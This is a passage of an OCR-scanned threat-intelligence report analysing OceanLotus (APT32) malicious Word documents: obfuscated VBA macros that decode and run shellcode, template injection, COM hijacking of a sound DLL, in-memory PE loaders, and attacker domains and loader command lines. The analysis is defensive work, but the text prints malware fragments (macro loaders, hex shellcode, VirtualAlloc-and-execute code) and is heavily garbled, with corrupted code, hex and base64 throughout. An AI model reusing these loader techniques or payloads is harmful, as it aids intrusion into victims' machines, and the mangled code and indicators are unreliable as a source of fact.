NaAkdmeBuNzn1CAbri TTu: AUegiluMmohueq = FmcCgiKkKIDpSCAPMIVXARSpEHIU:

kdneBuNzn1CAbriTTui 33dZAUegi 1uMnShveq odule . AddFronstring (fCFkaldW

r88tfzof 3pxMUI11TM63 Tdkmak]50c@4Rt0t0A2S . AutomationSecurity =

F5mcCgiKKKDpSCAPMIVXARSPEWrUSYiI600SBLY. Save
F5mcCgiKkKjDpSCAPMIVXARSPENTUSY1I800SBLY. CL

dkmak150c@4R+0+0A25,

F5mcCgiKkKJDpSCAPH:
F20f 1al(e, @, 1), "

8F20f 3pxMUT11TH63 Tdkmak150

The format file is 1 pound text, which cannot be seen by the naked eye, as shown in the

figure:

(PR s @B F|9-0-|8 GRG0 HREe M
30

B4 2 g 2 4 B 8 MW 1T M ® 18 2 2

X + 1 B -] Calibri B
34 36 3

B 40 434 44 4B 4B

3560

TOTAL SECURITY

The first paragraph clears the data after formatting:
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T

Ly

A AR B R H

AE WS Ee W M

Lom e e g a@mae e dEse fiarr  -®e -1t
4

L B Ld

o

507269766 1746520467 56E6374696FBE204A4B42776F31336B6552675230444857 756050356
25531526E67614A 22533062604C 4BTAG83028427956616C20737472417363696920417
320537472696E672920417320427974650D0A0D0A202020204469602061TATE31313044517
T376ET8T94B38446536577706620ATTH707636B630951504506A3556374B4449204 173204279
7465000A2020202044696020776337645364304E75366B374479554E6ETAS65439626C5AT4
4239454457554F52 324142627 4]352041?§%279Z$B§DDA%02%202044696D2%5574B?A5
56F53586B4479775467 5686 04B68336E6178637768425869425054 506F847 34E34352041
7320537472696E67202A20310D0A0D0A20202020617A76313130445177376E78794B384465
| 3857TT56625A77575 763663505 15450 6A35563748 03D20300D0A2020202049662028
4CB5BE28737472417363696929203D203129205468656E000A202020202020202075574B7A
479775467566B53304B68336E61 78637768420869425054506F64734E3435203

®
D204D69642873747241736369692C20312C2031290004A20202020202020207763376453643

04E75366B3744 79554E6ETAS654 39626C5AT44230454457554F5232414262714735203D204
173632875574BTAB56F 5358684479 7754675 66853394868 336E6178637768 42586942595450
8F84734E3435290D0A2020202020202020496620287 76337645364304E75366B8374479554E6|
ETA565430826C5A744239454457554F 52324142627 14735203E3020363520416E642077633
7645364304E75366B374479004EBETASE0439626C0AT44239454457054F023241426271473
5%0363D2Qﬂ-73029205468656EDWA2020232020¥202l¥020202077 37645364304E75366
B374479554EBETADB0439626C5AT44239454457354F5232414262714735203D20776337645
364304E75366B374479504E6E7ADBO439626C0AT44239454457504F5232414262714735202

¥ D20363520282031300D0A202020 202020202045 6C7 3650004202020 202020 2020202020207

78337645364304E75366B374479554E6ETAS65430626C5AT44239454457554F523241426827
147352030207 7633764536430 4E75366B3744T9554E6ETASB5439626C5AT44239454457554
F52324142627147352020203438000A2020202020202020456E642040660D0A20202020202
02020617A76313130445177376E]8794B38446536577756625A775757636B63595154508A35

& 8 W @2 W & 18 20 22 24 26 28 30 32 34 36 38 40 4%y 4 48

After the data is converted into bin, it will be converted into the second macro code, and
the first macro code will execute the x_NOth1ngH3r3 function, as shown in the figure:
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>

Execute the macro code of penultimate paragraph 3 in the same way, as shown in the
figure:

TUZ6rkKxj6QTBC_d_MeXVUglDgbRXS:

[
QdI6pVGs_17DEtasU

XCufNsRLuvXxMUTwzT 1kzbny1TcuTekSCUr Now + TimeSerial(®, @, 1),

-Range. Text

ZWjL2F
Myl gDEOHGENCJ4T_1kTAGEDeRAUSKDVPWzACEaK, 1 + 1, 1)
i keRgRODHWUMP5bU1RNgaJCL2SICMLKZha( rurMEPXeDy:
b keRgREDHWUNPSbU1RNgaJCL2! XWLEJGIVELXTZVLST
POSbXkZdIfqROVNEFiL_DOKOAC KWQO2G708 * 16 + tDu_8KECOKmexiBwjC1IVWCbHVD1KOWDYoboQr
[t09FXY7dTpSyAdTE3DVSVKLY v to9FXY7dTp9yAdTg3DVmSVKL & chr(value)
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637749656B35435572475857 2E4F 6E54606D65284E6F 77202B205469606553857269616C28
302C20302C2031292C2022785F4E3074683 16E674833723322290D0A202020200D0A090927
205285737 46F 72652074686520726567697374727920746F2069747 3206F6C 6420737461746
50D0A09094966204B526B44786A42354A3144726376354772555A783646765A53627531745
370575A437430686A766C203D202222205468656E0D0A080909686E56435937344A514F555
6697957476731316353425730457030706452574A7 1673333686C33712E52656744656C6574
652053853 1785F724C6DT153694433564B6F5837646C72625930794F 4139717084544 446495
573644858 000A0909456C 73650D0A090909686E56435937344A514F5556697957476731316
353425730457030706452574AT1673333686C33712E526567577269746520536531785F724C
607153694433564B6F5837646C72625930794F 4 1397170645444 464955736448582C204B526
B44766A42354A3144726376354772555A783646765A53627531745370575A437430686A768
C2C20225245475F 44 5T4F5244220D0A0909456E64204968000A202020200D0A090927 20545
55A36726B4B786A36515430435F645F4D 6558565567 8C446762525853736441445F386CT44
C332E436C6F73852046616C73650D0A09094170708C69636174696FBE2E517569740D0A0D
0AQ94CBF6F70205768696C6520468616CT73650D0A0D0A4572726F 7248618E646C65723A000
A0D0OA45EEB4205375620D0A

234966205642413720416E642057696E3634205468656E0D0APD0A20202020507269768174
6520436F6ET37420505 24F434553535F 43524541 54455F5443624541442030202648320D0A2

R = R i

02020205072697661746520436F6ET73742050524F 434553535F5 155455 2095F 494E464F524D
4154494F 4E203D202648343030000A20202020507269766 174652 0436F6E 737 420505 24F 434

It also starts with this function:

x_NethingH3r3()
ErrorHandler
#If VBA7 And né4 Th
NWRFdpi8IkEtgpm

X2j9clgMjh
1§812QI3Gu

\ctiveDc

ument .Paragraphs|(ThisDocument .Paragraphs. Count - 2| Range.Text

ggacamnUX4HUUR 1 tFy5qMal5gFl8adgpbC.
gTto4QtgkdmAo:
sInevkbE3anmC WYIONRr Z3fnDupg) - 1

#If VBA7 And Win64 Then
dLw! YuekJ W 7Ap] Fj8DJleaiduRek = II

The data are as follows:

8B4C240453FECT8B1C2499C1F80200050A884424 145A53689052514 28B542418F 5538B5C
2424539D5B8D842424891C240FB704508B04818D4DB4515603C68885DB453885DB5FFD0EB
T5F88BSDECB3CET8FFT6045TFFD36A088D6424FC8D6424D89C5166C1E1059EFTD153FE
CBOFBAEBO005066C1E804F8660FBAESO3F80FCB33D88B0424894424345B8B 1C24860FBAF
900508954 24305AF7DBCOFD03669833C95366F 7TDOD50A4AG60FBDCOFEDCFED18B4C 2408
9EF866998B542430378B44240C8D6424FCOC52C0EB0653660FBAE303504066899F 3766C 1
CB80366F 7TD0DS0AFTD2FE837903F37B882163000051B90D1D0000F 7E1664AF 9663302668880
1166B9SBFAGGFTF1D0ESGEFTDBOZFFEB5C2408FECECTC1CANB6633D266B8614E66BOSES
ABGFTF18B442410509D8B4424043B0C248B54240C806424148904249D8B44 2434806424 38
893424FFD3330B435E5F8BC35BEBESSDC2040050FF55B08B4DF4ESECEBFFFF

PR i

Then write to memory for execution:
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nLKHpt 2L aXKwgXdh
VBA7 And Win

OCTpriyrg8kt Tmias (VpsadiB12Q1 imHCH7VHSPjdBXo, B

MNSF4JfVuHytusmRN = ESXYtcktRmQujYxykrfnBshLPH81RIMDS_ybZP3(ByVal (NWRFdpi8IKEtgpmVvGlhnhd3STICmzGAUj4x]

INUXAHUURL tFy 5qMals qacamnUXAWUURTtFySqMa x + oXqnLKHptzLaXKugXdH2\ Q4QtqHdnAo7RU

After the data hex is converted into bin, shellcode which is mostly used by OceanLotus is
shown as follows:

dword ptr -818h
dword ptr -88Ch
dword ptr -3@3h
dword ptr -884h

SegBBe:@eeEB27F var_310
SeglBd:@eeEB27F var 88C
5eg@Bo:BOeEB2TF var 508
:@BAEG27F var_364

:@BAEB27F var_860 dword ptr -8@oh
:@BOE@27F var 7FC dword ptr -7FCh

dword ptr -7Fsh

OEG27F var_18 dword ptr -18h
SegPBd:@PAEB2TF var_14 dword ptr -14h

segBBe:@eeEB27F var,
segBBe:@eeEB27F var
5eg@00:0eREB27F var
5egB00:@OREG2TF var_4
segBBo:BeREB27F

10 dword ptr -18h
dword ptr -8ch
dword ptr -8

dword ptr -4

=

@E@27F var 778

o

SegeBe: BEREB2TF lea esp, [esp-4]
SegPBe: GERER283 pushf
segB00:G0REG284 push  ecx
segBBd:BBAEB285 shl ecx, 3
SegBen: GoBE28E push  ebx
seghBo:BeeEs289 inc bh
5egBo0:0oeEe280 or ecx, ecx
seghBo: 0AEB28D shl x, 6
5egB00:G0BER291 push  eax
seghBe:eeeEe292 aaa
Seg@Be: EERER293 push edx
seghBd:B0aEB294 cwd
segPBd:BBAEB296 cwd
BEB298 mov eax,

: @@BEB29D mov ecx,
Seglee:eeace2A2 mul ecx
segB00:GOREB2AL neg al

:BBBEB2A6 bswap  ebx
:BBBEG2A3 mov ax,
:BBBEB2AC mov o,

BEB2B8 mul [=19
BEB2B3 ste
seghBo: 0eeEe284 sahf
Seg@Be: GEREB2ES push ecx
Segleo:@eRE02B6 chw
segP00: AORER2BE bswap  edx
segBBo: B0REB2BA inc edx
seghbo:BeeEB2BE or dh, d1
SegeBe: @BBEB2ED cdg
Seg@e: GORES2BE mov edx, [esp+lCh+var_18]
Segked:aeaEs2(2 das
seghBe:eeece203 mov bx, cx
SegeBe: GEREB2(E mov ebx, [esp+lChivar_18]
Seglee:@eace2CA mov ecx, [esp+lCh+var (]
seghBd: @eAEB2CE aas
SegaB0: @0RED2CF mov eax, [esp+lChivar_8]
SegeBe: GERER2D3 push eax

Configuration file:

Offset o1 2 3 4 5 68 7 & 9 A B C D E F —
ooooooed  eD OO0 BE 00 BF OO0 70 00 FA OO0 00 00 53 00 4F 00 m.n.o.p.z...2.0
oooooo?o 46 00 54 00 57 OO0 41 00 52 OO0 45 00 5C 00 41 00 F.T.W.A.R.E.™~.A
0oooooso 70 0O 70 00 5C OO 41 00 70 00 70 00 S8 00 37 00 p.p.>~A.p.p.X.7
0ooooos0o 30 0O 31 00 36 OO0 32 00 34 00 36 00 36 00 63 00 0.1.6.2.4.8.6.c
goooooAD 37 00 35 00 35 00 34 00 &6 OO 37 00 66 OO 38 00 7.5.5.4.f.7.f.8
000o0ooBO 30 OO 66 OO0 34 OO0 38 00 31 00 39 00 38 00 35 00 0.f.4.8.1.9.8.5
0oooooco &4 0O 36 00 37 OO0 35 00 35 00 36 00 o4 00 5C 00 d.6.7.5.8.6.d.~
oooooopo 41 00 70 00 70 O0 eC 00 69 00 63 00 61 OO0 74 00 A.p.p.l.i.c.a.t
000000ED &9 00 6F 00 BE OO0 7A 00 0O OO 53 00 4F OO0 46 00 i.e.n.z...5.0.F
000O0oDOFO 54 00 57 00 41 00 52 00 45 00 5C 00 41 00 70 00 T.W.A.R.E.~.A.p
0oooo1o0 70 OO S5C 00 41 00 70 00 70 00 56 00 37 00 30 00 p.~A.p.p.X.7.0
ooooo110 31 00 36 00 32 00 34 00 38 00 36 00 63 OO0 37 00 1.6.2.4.8.6.c.7
ooooolzo 35 00 35 00 34 00 66 00 37 00 66 OO0 38 OO0 30 00 5.5.4.f.7.f£.8.0
00000130 &6 OO 34 00 38 00 31 00 3% 00 36 00 35 00 64 00 f.4.5.1.9.8.5.d
00000140 36 00 37 00 35 00 38 00 36 00 64 00 SC 00 44 00 6.7.5.8.6.d.>.D
00000150 eSS 00 66 00 61 OO0 75 00 6C OO0 74 00 49 00 63 00 e=.f.a.u.l.t.l.c
00000160 BF OO0 GE 00 08 OO0 OO0 0O 44 00 61 00 74 00 61 00 a.n..... D.a.t.a
00000170 06 DO 00 00 64 OO0 &5 00 66 00 94 OO0 00 00 20 0O ....d.e.f.0... .
0000o180 00 DO 63 00 &C OO0 BF 00 75 00 64 OO0 2E 00 33 00 ..c.l.o.u.d...3.
0oooo1s0 36 00 30 00 63 00 GE 00 2E OO0 69 00 BE OO0 66 00 6.0.z.n...i.n.f.
0000o1a0  eF OO 2A 00 00 OO0 &4 00 BE 00 73 OO0 2E 00 63 00 wo.*...d.n.s...c.
000001BO 68 00 69 00 GE OO0 &1 00 BE 00 65 00 77 00 73 00 h.i.n.a.n.e.w.s.
ooooolco  ZE OO0 BE 00 RS OO0 74 00 77 00 6F 00 72 00 6B 00 ..n.e.t.w.o.r.k.
ooooolpo 20 00 OO 00 &1 OO0 6C 0O &9 OO0 65 OO0 78 OO 70 OO0 ...a.llile.x.p.
00ODO001EQD 72 DO 65 00 73 OO0 73 00 B3 00 6E OO 2E 00 6E 00 r.e.s.s.c.n...n.
000001F0 65 DO 74 00 1& OO0 00 OO B3 00 68 00 &9 00 BE 00 e.t..... Bolilol oMo
00ooozoo el 00 70 00 BeF OO0 72 00 74 00 2E 00 eF OO0 72 00 a.p.o.r.t...c.r.
oooooz1lo &7 OO0 08 44 05 00 OO0 44 05 00 4D 5A 90 00 03 00 g..D D..MZ

0oogozz20 00 0O 04 0O OO OO0 FF FF OO OO B& OO 0O 0O 00 0O ...... ) I,
0ooooz30 00 00 40 00 00 00 00 00 00 00 OO0 OO0 00 00 00 00 ..@...ueevunenn.
0ooooz40 00 00 OO 0O OO 00 00 00 00 00 00 OO0 00 00 00 00 ..eneinnnnnann.

‘X_T—H"J FEE) AUV EEV) #Ean)

hijkImnopz SOFTWARE“App“AppX70162486¢7554F7T80T4681985d67586d" Applicationz SOFTWARE
\ADPHAPPXTO162486c7554F7f80F481985d67586d \DefaultIcon: DataC def
cloud. 360cn. info* dns.chinanews.network aliexpresscn.netZ chinaport.org

https://ti.qianxin.com/blog/articles/oceanlotus-attacks-to-indochinese-peninsula-evolution-of-targets-techniques-and-procedure/ 21/69



5/9/2019 A RAFBIMER O

This is the way that shellcode is loaded with three macros, mostly to combat shellcode
static killing.

Template Injection Documents

The template injection class document of OceanLotus has universality, after the
document starts, it will load XXX XXX/XXX. PNG

And do the following.

To give an example of one of these attacks, fdsw.png is an office compound document:

(d497bd06b34a046841bb63d3bf20e605)

iR
{E& Tushar
ﬁﬁ-ﬂﬁ%ﬁ% Administrator
Zi]= 3

W=
ﬁ_Fﬁ-’Eﬁ Microasoft Office Word
2]

EIEE

AR ERATE 2018/8/23 11:10
EE—rEFRIEER 2019/1/30 23:20

B fe—FTENRIR iE]

SiRiERTE 0001 ;00

If SysWOW&64\cmd.exe file exists, the system is either 32-bit or 64-bit.

If (fsoCheck.FileExists("C:\Windows\SysWOW6e4\cmd.exe”
iCheck =

Else
iCheck =
End Tf

Depending on the system, the file is taken out of the cell, base64 decoded, and dropped
to: Y%eappdata% main_background-png:

If (iCheck = } Then
tableNew.Cell(1, 1).Range.Text
Left(a, Len(a) - 2)
Base6d4Decode(a, sAppData)

tableNew.Cell(1, 2}).Range.Text
Left(a, Len(a) - 2)
Baseb4Decode(a, sAppData)

The hijacked csids are "{2dea658f-54c1-4227-af9b-260ab5fc3543}".
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& sappDatatiew &

According to this CSID, it is the CSID of the DLL that is hijacked:
%SystemR00t%\System32\ playsndsrv.dll

4l (2DEAGSBF-54C1-4207-AFOB-260ABSFC3543) a5)@tn) REG_EXPAND_SZ | Se5ystemRoots sy stem3Z\Playsnd el
InprocServer32 28| ThreadingModeel REG_SZ. Both

{2DECBCB7-BACO-316D-9131-43035C5CB480}

This DLL is used to play sound.

The extraction content of base64 content in the cell is as follows:

AABTi9jr A jPETI0S54 £+/0i F23UNSTvHET B3+ DE hor D Hici L HEE £ 2 AMASTXAAALT i G/ FADZAART
hdt VUi DxGRIO+#ERHIT/ / /M xIE TwTAMO+ That0SkmL1 i Ly/ BYVHe AAE: FwHQy TT sFECTCALpAAAAA
Qv g+ B/ KaGKyki LOE j TyldszOE uHLF e AxQMABH 1M1 sk HT L AGTHM e+ T T AQT vl AAACT 4D ¥E § T
20z HoulivF = AxQMAMSEL i 1wlUE i LECEYST +0TGET g8Q g0 VOBIF dQVx £w0i LrEi THART 1 4 2QST1wGE i T
BBVl ITFEE /171 / CLEkyNDexIAQEMi /M QX 2 dAEASTOVe /QAALIEAMMARES+/ /911 9hTheEOVDiL
¥PEVIHIAAR: L jCS gAAAARTvPST uE TTAAAABM 11 UwlTvVS TuMTT AARBT 1 Iwk0Ei L CSQAAASTIN
TJOCLCSTAAAAL UwkKEnLzlki TRC 2/ 9P rM i ESSTw0RMAF AMCLyESLz 4uETT zAKEM: G2TRCR0d 9VT i 4Gk
ZAAAAE] TRCO/xVQ1 wAAST £ cTGET i ZwlaFi LACRST t8THAT g8RAQVT DzEi LacEi TEBT i # Y ST1wIE: T
SARKSTE sQEnL+mLATwqT IONE JEARYNE £1 2 AQCS AghAAR] HF £T2AQD M E3/ 01 L2Ed FaHQaSTvI /10
ZARASTMTFEM: SOMi Bal £/T6 2 BT UQIUE] TRCGwTTIMICS4EAMMAE Y HECGwST1 UICi TRCQUSTIMICCT
BCQoBEFS/ /811 1wl Ei LhCR 25T t0JGhT 2BRAXGEN 2Ei TXCATVOi DTCET 1 /1M 320 ewEAudMARKEN j0VE
ewEASTOVr eBAAD o/ B/ /STvYSTYAdEET 8 /FZ/ XARBT 8/ /0+ G/ %11 1 gAAST+ cJDBI 250 XGEM T
i VR AT w2 91N 01 B ewEAuQOAAKEM Gt ewEASTOVIuBAMORE /E/ /STvASTAAADT 155/

X ABCLy/ FXwi L/ BY4+UAREL LIC
QwSTPETF/ I zMzMSTL e JARKSTP sTT+ZTIONGEIEALKF ARAATIOF 3XTEAE HFRbvAAD o7 £v/ /01 LHEi FwH
OPSTvT/xkiwl ghbi fw/ 1+=TiBe/ Flr VAART i 1wlWEi IneCE £ zM 2Ed TECATSTLO TEEYSTE sTE1 L2kyHDZ
4y ARCLHL HF dLuAACSE ghMAEyHEXSyAQD o § £v/ /01 LAE i FwHOSSTvI/ W1 ghhSTvTis// 1uslSTvT i
//FRzVAARTi 1wlMEi LACQ4STPETF/DSTvEST1YCE: ToBET 1 X AYST14TEFHSTE sTEGL4HUnLAT+qTIONNH
TEAEYLAUHES T AQET j ERTB0AAODARAD oF v/ /01 L2Ei FwHITSTwI/ xlY 1 sAARTwPTTwGi GWT1 67/ 0+
saMATTiET otwTAATwIRTwPTTw3: 08/ F o/ UAABT 1 1wIEi LhCQ4ST 0 TEET i SwkSEi IncCEEY <HT i VwkiCE
1 TACQEYO1 DTCCLA by WDb R AQET i /FT R  cE AuREAAREM W cQEAS T35/ /911 ShTheBOEki LyFEVIN
UAATwEST w0 /Py FviVe dAREN IS L dvTSTwHEPEARART i 1 wIME: LACQ4STFETF/T2Ei THCHTSTL B
BT XQGF AT ghw ¥ wo TIONYnEE AT+TIOFUXEBAE] Lt Ui HFV/ t AACSF ARAM Rbv/ /STowSTX ARV i3
3/FPRTVAARE: GWLO0: Le/ /MBwul 001 Lz / 8VhAMAAR] LXCQwST + s TOT i 30L0E ICE fwii THCATVO I DTC
ETi /1M Q38 cAEAuRIAAAEM j0% 0 cAEASTOVBXABADL ot £/ /ST TSTRAARETi 8 /F awIAAETi G/ /04 sXNG
TTi8/ 0] EAATwTugBARAD/F X TAAET i | Wl DocCE £# G 2MST#EST1YCE: ToBET i YAYST14TEFHSTE <TE
WLBUGL2E Lkl adw AQCLEUHEZZw AQET RN cAEAuE.cARAD oK fr/ /01 LEE1 FoHITSTwI/ %11 AAARY

Base64 decodes one of the 32-bit PE, Dlimain will apply 0x34aca byte memory space,
and then write the shellcode at 0x10012760 into memory, and execute it through the

thread:

align 10h dsta:10012760 sub_10012760  proc near
o S5 1

dsta: 10012765 o ecx

dsta:10012768 Db e s

ta:10012769 lea  ecx, (unk 10013728 - 10012760h)[ecx]

Ldsta:1001276F pusha

push  ecx

Gl sub_0012778

o
sub 10061010  proc near
10 edi

ReF: Dlliain(x,x,x)+284p

dwProcess1d
} bInherithandle

i dwbesiredaccess sub_10012760  endp

test  edi, edi
jz short loc_1000106D

5 flprotect

5 flallocationType sub_10012778  proc near 3 CODE XREF: sub_10012760+111p
ize 7

} lpaddress

= dword ptr -0c:
hProcess

5 Ipumberofaytefuritten
ACH § nsize
push  offset sub_ 10012760 ; lpuffer

ush est T Tppaseaddress
i 5 hProcess

push @ ; IpThreadzd

i duCreationFlags

i lpParameter
pStartaddress

duStacksize

Threadattributes

loc_1000106C: 3 CODE XREF: sub_10001010+4915
(
3

loc_1000106D: 5 CODE XREF: sub_10001010+1913
=

sub 10001010 endp

EEXEII00B106E § - data:10912778 var 88 = dword ptr -8sh

Shellcode goes to the pointer at offset Oxfc8 when the parameter is passed to the

function of sub_160018:

https://ti.qianxin.com/blog/articles/oceanlotus-attacks-to-indochinese-peninsula-evolution-of-targets-techniques-and-procedure/

23/69



5/9/12019

segBll: pe16a080 seglle
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segment byte public 'CODE® use32

seghld: ealcaaan assume cs:segl@n

seghld: ealcaae0 ;org 16888eh

SegBoa : 60168000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
SegBoa : 60168000 call 545

segble: Be168885 pop ecx

SegBee : 80168006 sub ecx, 5

SegBee: 80168089 lea ecx, [ecturFCah]]
s2gbee: Be168Bar pusha

segbee:ee16001e push ecx
segbee:eel6eall call sub_16@018
$egbee:eel6e016 popa

$egbee:eel6eel7 retn

The address offset Oxfc8 holds the command line argument and a PE:

segeen:
58g000;
52g000:
seglen:
Segese:
segeea:
segeen:
segeen:
segeen:
segeen:
segeen:
58g000;
52g000:
seglen:
Segese:
segeea:
segeen:
segeen:
seg0ea:
segeen:
segeen:
58g000:
52g000:
seglen:
Segeee:
segoea:
segeen:

segoes:

segeen:
segeen:
segeen:
58g000:
52g000:
seglen:
Segeee:
segoea:

The function of sub_160018 is mainly to load the following PE in memory, and then pass
the command line to execute according to the command line parameters. The figure

@BLEBFC2 ; === === === e
2@168FCS align 4

oerforcs ] dw 102h

80166FCA dw @

88160FCC dw 3A08h

88160FCE dw 3

88166FD8 db '{',8

@8166FD2 aC db 'C',@

88160FD4 db ':',8

20160FD6 db '\',@

©8160FDS all db "U’,@

@8168FDA as db 's',@

28160FDC aErsWin7utleqDe:

80166FDC text "UTF-16LE", 'ers\WIN7UTLE4\Desktop\Macro NB2 new\Request\PostDat'
88166FDC text "UTF-16LE", 'a32.exe -u https://office.allsafebrowsing.com/fdsw3"
88166FDC text "UTF-J6LE", "2.png —t 246000'.0
881616C8 db 8

281618C9 db 8

881618CA db 4Dh ; M

201616C8 db 5ah ; 7

201616CC db _96h

281618C0 a6 ©

201618CE db 3

801616CF db 8

28161800 db 8

28161801 db 8

88161602 db 4

BB1618D3 db @

28161004 db 8

20161805 db @

20161606 db 8FFh

20161807 db @FFh

20161808 db @

20161609 db 8

281618DA db @8sh

28161808 db 8

below is the code of receiving the command line parameters for the PE:

76
77
78
79
aa
81
g2
83
84
85
86
a7
88
89
9@
91
a2
a3
a4
as
96

98
99
1@6

SetErrortode (BxBOB7U) ;

if ( argc =5 )

1
v3 = sub_482F48(8&unk_ 432478, *argv);
sub_482F48(vs, " BH
return @;

1

ar (int)operator new[](@x480u);

; conds = @3
memset((void *)argc, @, @xd4eeu);
w5 = argv;

Ve = @3
do
1

v7 = &5[v6];

vB = stromp(vs[ve], "-u");
if ( vE
vd = -(vB < @) | 1;
if ( lve )
{

v7 = &us[+Hve];
strepy({char *)argc, vsS[ve]);

V58 = @3
v59
V29 -
LOBYTE(v73) ;

sub_4@218@(v24 - 64);
memmove_@(1pMem, vE
sub_482248((int
V38 = sub_4@197@(d
dword_432F88 = w24

y31 = vie;

o
@
P

3

2 ig

- 64);
int)&1pMem);
conds, (int *

3
3 V2

—

r48,

/66, vag, (int)vao, (intivse);

v32 = virtualalloc(e, v29, @x1leeeu, @x4eu);
memmove_e(up2z, v31, dword_432F88);
{(void (*)(void))w32)();

va7 = (CHAR *)1;
sub_4@4D59( (LPVOID)dwii
*(_DWORD *)&v45 = 1;
sub_484D59( '
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Find more samples through association analysis:

Sort by compile time as follows:

LA e A [BATRIS PG ST

s
b3

[2018-07-08, 10:43:40 161780{cnd.

l2018-08-14, 05:10:20 | 10783477 [a:\e

exs ~u Bitps://bets officopedia con/vingd. png ~t 200000
.y conkir£32. png ~t 200000

acef |2018-09-20, 08:07:31 297a72[a: e

28

4507 F304e1 [2018-08-00, 08:07:33 | 107086025\ edebmacro_nbPhre gue: png -t 200000

91 |onis-10-05,02:39:08 | ooeeet[a

lz015-10-31,04:99:48 | posaen]a

l2018-10-31, 04:48:51 292552 o

5 |201a-11-22,08:38:08 | Ssesar|aite

lo018-11-00,08:38:23 | ss1417]

56T 2018-12-17, 0738148 | arate)

916 |2018-12-17, 07:36:51 79735

2019-01-18,08:24:18 | sezmielache

b |ooia-ni-30,15:10:38 | 34208[etw con/EdsuBd png —t 240000)

According to the table comparison, the command line of the first sample is different from
other samples. It can be known that it should be the sample of different attacks. This
sample is the annotated version, which will load shellcode in memory in the same way.

1DWORD _ stdcall StartAddress(LPVOID lpThreadParameter)

2{

3| woid *vl; // esi

5| OutputDebugStringa("My Sample Service: ServiceWorkerThread: Entry™);
6 while ( WaitForSingleObject(hHandle, @) )

7 {

3 vl = Virtualalloc(@, @x1461Cu, @x1@88u, @x48u);

9 memmove (v1, &lec_ 413788, @x1461Cu);

@ ((woid (*)({void)yv1)();

1 5leep(@xBB8U);

3 OutputDebugStringA("My Sample Serwvice: ServiceWorkerThread: Exit™);
4| return 8;

15[}

The PE included in the file is found in a hacker's toolkit. The file name is CMD [w7][x64].

The function o

f this sample is to execute the McOds. Exe (this is the exe file name of the

white utility program used by OceanLotus) through the CMD [w7][x64]. Exe contained in

the file, while t

he McOds. Exe should be the file released by the dropper before.

000023018 ===:cmd.pdb

{0xc00043dd0 ===:ReadProcessMemaory
10x000435cc ===:ResumeThread
000044231 ===:NtOpenProcessToken
1000021 afc ===:CreateProcessAsUser'W
:0x0003fc10 ===+ COM:.EXE:. BAT: CMD: VES:. S WS MSC
(000003472 === XCOPY.EXE
000008774 ===:1E&cmd.exe
10:00000%ee === ECMD.EXE
{0x00023db4 ===)CMD.EXE
:0x000001e0 ===:360upk0

000000230 ===:360upk2

000000208 ===:360upkl

10xc00043elf ===:CreateProcess\W
W0x0003fc5c ===1\Shel\Opem\Command

:0x00007506 ===1BAutoRun

The upload place of this sample is VN, the upload time is July 31, and the file name is
msvchr.exe, we can know that this sample should be aimed at Vietham attack:

https://ti.qianxin.com/blog/articles/oce

@ Identification @, Details @ Content U Analyses & Submissions @ITW ® Comments

< | > + 4

Date File name Source Country
2013-07-31 01:46:22 msvehr.exe ec403682 (web)
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Through the analysis and comparison of these samples, we can know that these
samples should be used to specifically execute exe file in memory, and pass command
line parameters of the Loader program, is the last six months to use the new malicious
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code framework, specifically used to develop against static Kill.

It is found that two samples are 10M, and the end is filled with 0x20 (space), which is

filled into a large file to avoid being uploaded:

‘ 4TaBcfbechef?3264db2b430c117 2d094 5934876 d2B ealaf01 1Ac c60b3 1 abed |

Of fset o1 2 3 4 5 6 7 5§ 9 A BE C D E F
0004BD40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDS0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Z0 20
0004BD60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BD70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDS0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDS0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDAD | 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDBO | 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDCO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDDO | 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O0004BDED | 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDFO | 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O0004BEDD 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Z0 20
0004BE10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BEZ20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BE30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BE40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BESO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O004BEGOD | 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O004BE7O 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O004BESO | 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O004BESD 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O004BEAD | 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O004BEBD | 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BECO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

And the way shellcode is loaded for these samples is a little different:

1. Most samples are executed shellcode by creating threads

2, compile the earliest version of the sample, in the form of services, with comments, in

BOOL _ stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
HMODULE v3; // eax

if (

Sleep(@x2716u);

3 = GetModuleHandleA("kernel32.d11");
GetProcAddress(v3, "CreateThread");
sub_10001016();

etCurrentProcessTd();
enProcess (Bx1FFFFFu, 8, vo);

return 1;

©, 0x37088u, 0x3000u, 0x48u);
shemory(v2, v3, &unk 10012768, Bx37088u, 8);

= CreateThread(@, @, (LPTHREAD_START ROUTINE)v3, 8, @, @);

serviceMain create thread execution shellcode

3. A small part

if ( hHandle )
i

ServiceStatus.dwControlsAccepted = 1;
ServiceStatus.dwCurrentState =
ServiceStatus.dwhin32ExitCode = 8;
ServiceStatus.dwCheckPoint = 6;
if ( Isetservicestatus(hServicestatus, Servicestatus)

OutputDebugStringA("My Sample Service: ServiceMain: SetServiceStatus returned error”);

CreateThread(8, @, StartAddresg, 8, @, 0); ~ L
